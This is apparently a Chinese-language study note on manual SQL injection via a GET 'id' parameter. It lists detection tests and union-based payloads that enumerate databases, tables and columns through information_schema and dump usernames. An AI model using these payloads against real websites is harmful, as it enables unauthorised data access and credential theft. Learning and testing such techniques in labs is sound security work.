探测漏洞
GET参数id
重点在于系统是否执行了我们输入的语句
- 单引号:?id=1’
- 逻辑:对比两个页面
?id=1 and 1=1和?id=1 and 1=2(数字型注入)
?id=1’ and ‘1’=‘1和?id=1’ and ‘1’='2(字符型注入) - 加减:对比两个页面
?id=2-1和?id=1
利用漏洞
基础
联合注入条件:有回显位。知道字段数。
联合注入语句:
查字段:?id=1’ order by x#(查询有结果才能排序)
联合:?id=0’ union select #(第一次查询为空,才显示第二次查询结果)
查库:?id=0’ union select 1,schema_name,3 from information_schema.schemata#
查表:?id=0’ union select 1,table_name,3 from information_schema.tables where table_schema=database()#
查字段名:?id=0’ union select 1,column_name,3 from information_schema.columns where table_name=‘xx’#
(where语句输入具体的数据库名、表名时,需要加单引号)
查字段值:?id=0’ union select 1,group_concat(username),3 from users#
联合注入常用函数:
查看数据库当前用户:user()
查看数据库版本信息:version()
查看当前使用的库:database()
把结果拼接成一行显示:group_concat()
联合注入涉及的数据库结构:
默认数据库:information_schema
字段是所有数据库名的表:information_schema.schemata
字段是所有表名的表:information_schema.tables
字段是所有字段的表:information_schema.columns
补充
注释符:#(URL编码格式是%23),–+(减减加)。